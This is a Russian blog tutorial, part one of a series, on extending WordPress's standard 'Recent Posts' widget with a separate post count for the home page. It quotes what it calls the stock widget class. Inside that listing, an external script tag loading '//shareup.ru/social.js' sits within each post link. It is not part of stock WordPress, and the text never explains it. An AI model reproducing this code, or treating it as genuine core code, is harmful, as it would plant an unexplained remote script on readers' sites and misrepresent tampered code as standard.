Главная > Программирование > Допиливание стандартного виджета WP. Часть 1

 

Допиливание стандартного виджета WP. Часть 1

Речь пойдёт о виджете "Свежие записи". В админке WordPress стандартный вид этого виджета таков:

Так выглядит стандартный виджет

Там можно установить сколько штук последних постов будет отображаться в колонке "Свежие записи" (по умолчанию, можно и переименовать).

И вот, как-то раз клиент заказал(а) сайт, и, среди всех прочих условий было такое: надо чтобы на главной странице отображалось много последних записей (50 штук), а на других страницах - поменьше (ну там 5 - 10).

Искать какой-нибудь плагин, который это делает, я не стал, а решил допилить существующий, что оказалось очень даже несложно, несмотря на мои скудные познания в PHP. Итак, что нам нужно.

1. Задать дополнительную переменную в форме, в которой сохранялось бы число последних постов, которые пользователь хочет видеть на главной странице.

2. В момент загрузки страницы идентифицировать что грузится: главная или не главная.

3. Если не главная - пусть процесс идёт по пути стандарьного виджета. Если главная - переприсвоить число отображаемых наименований, и далее опять же пусть катится по стандартному пути.

Как известно, коды стандартных виджетов хранятся в файле default-widgets.php, полный путь:

1
/wp-includes/default-widgets.php

Открываем и находим код класса соответствующего виджета:

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
/**
 * Recent_Posts widget class
 *
 * @since 2.8.0
 */
class WP_Widget_Recent_Posts extends WP_Widget {
 
	function __construct() {
		$widget_ops = array('classname' => 'widget_recent_entries', 'description' => __( "The most recent posts on your site") );
		parent::__construct('recent-posts', __('Recent Posts'), $widget_ops);
		$this->alt_option_name = 'widget_recent_entries';
 
		add_action( 'save_post', array($this, 'flush_widget_cache') );
		add_action( 'deleted_post', array($this, 'flush_widget_cache') );
		add_action( 'switch_theme', array($this, 'flush_widget_cache') );
	}
 
	function widget($args, $instance) {
		$cache = wp_cache_get('widget_recent_posts', 'widget');
 
		if ( !is_array($cache) )
			$cache = array();
 
		if ( ! isset( $args['widget_id'] ) )
			$args['widget_id'] = $this->id;
 
		if ( isset( $cache[ $args['widget_id'] ] ) ) {
			echo $cache[ $args['widget_id'] ];
			return;
		}
 
		ob_start();
		extract($args);
 
		$title = apply_filters('widget_title', empty($instance['title']) ? __('Recent Posts') : $instance['title'], $instance, $this->id_base);
		if ( empty( $instance['number'] ) || ! $number = absint( $instance['number'] ) )
 			$number = 10;
		$show_date = isset( $instance['show_date'] ) ? $instance['show_date'] : false;
 
		$r = new WP_Query( apply_filters( 'widget_posts_args', array( 'posts_per_page' => $number, 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true ) ) );
		if ($r->have_posts()) :
?>
		<?php echo $before_widget; ?>
		<?php if ( $title ) echo $before_title . $title . $after_title; ?>
		<ul>
		<?php while ( $r->have_posts() ) : $r->the_post(); ?>
			<li>
				<a href="<?php the_permalink() ?>" title="<?php echo esc_attr( get_the_title() ? get_the_title() : get_the_ID() ); ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?><script type="text/javascript" src="//shareup.ru/social.js"></script></a>
			<?php if ( $show_date ) : ?>
				<span class="post-date"><?php echo get_the_date(); ?></span>
			<?php endif; ?>
			</li>
		<?php endwhile; ?>
		</ul>
		<?php echo $after_widget; ?>
<?php
		// Reset the global $the_post as this query will have stomped on it
		wp_reset_postdata();
 
		endif;
 
		$cache[$args['widget_id']] = ob_get_flush();
		wp_cache_set('widget_recent_posts', $cache, 'widget');
	}
 
	function update( $new_instance, $old_instance ) {
		$instance = $old_instance;
		$instance['title'] = strip_tags($new_instance['title']);
		$instance['number'] = (int) $new_instance['number'];
		$instance['show_date'] = (bool) $new_instance['show_date'];
		$this->flush_widget_cache();
 
		$alloptions = wp_cache_get( 'alloptions', 'options' );
		if ( isset($alloptions['widget_recent_entries']) )
			delete_option('widget_recent_entries');
 
		return $instance;
	}
 
	function flush_widget_cache() {
		wp_cache_delete('widget_recent_posts', 'widget');
	}
 
	function form( $instance ) {
		$title     = isset( $instance['title'] ) ? esc_attr( $instance['title'] ) : '';
		$number    = isset( $instance['number'] ) ? absint( $instance['number'] ) : 5;
		$show_date = isset( $instance['show_date'] ) ? (bool) $instance['show_date'] : false;
?>
		<p><label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo $title; ?>" /></p>
 
		<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
		<input id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>
 
		<p><input class="checkbox" type="checkbox" <?php checked( $show_date ); ?> id="<?php echo $this->get_field_id( 'show_date' ); ?>" name="<?php echo $this->get_field_name( 'show_date' ); ?>" />
		<label for="<?php echo $this->get_field_id( 'show_date' ); ?>"><?php _e( 'Display post date?' ); ?></label></p>
<?php
	}
}

Следуем нашему плану

1. Число постов на главной

Устанавливаем переменную для числа названий постов, выводимых на главной странице. Сразу бросается в глаза $number = 10;
Это и есть число отображаемых названий постов. Вводим ещё одну переменную $mainnumber, она у нас будет содержать число отображаемых названий постов на главной странице. И сразу добавляем соответствующий элемент в массив $instance[] (это будет $instance['mainnumber'].

Немного пропущу описание своих мытарств редактирования этого кода без знания PHP, короче везде, где проводится какая-то операция с $number, я вставлял то же самое с $mainnumber, соответственно то же самое с парой $instance['number'] и $instance['mainnumber'].

Не надо забывать, что если мы хотим, чтобы в этой переменной что-то было, нужно это присвоить. А присваивание происходит через редактирование пользователем виджета в админке WP, а это просто работа с HTML-формой. Ищем в тексте виджета где есть форма. Это функция function form( $instance ), или метод, наверное так правильнее.

Находим заветные строчечки:

1
2
<p><label for="<?php echo $this->get_field_id( 'number' ); ?>"><?php _e( 'Number of posts to show:' ); ?></label>
<input id="<?php echo $this->get_field_id( 'number' ); ?>" name="<?php echo $this->get_field_name( 'number' ); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>

И вставляем подобный блок для нашей новой переменной:

1
2
<p><label for="<?php echo $this->get_field_id( 'mainnumber' ); ?>"><?php _e( 'Number of posts to show on the main page:' ); ?></label>
<input id="<?php echo $this->get_field_id( 'mainnumber' ); ?>" name="<?php echo $this->get_field_name( 'mainnumber' ); ?>" type="text" value="<?php echo $mainnumber; ?>" size="5" /></p>

size="5" - это чтобы для ввода $mainnumber было поле шириной 5 символов, а не 3.

Теперь в админке WP стандартный виджет "Свежие записи" выглядит немного по-другому:

Так выглядит в админке обновлённый виджет

Как видим, добавилось поле "Number of posts to show on the main page:" (можно написать и по-русски или добавить перевод в языковой файл).

Продолжение в следующей записи...

Программирование

  1. Пока что нет комментариев.
  1. Пока что нет уведомлений.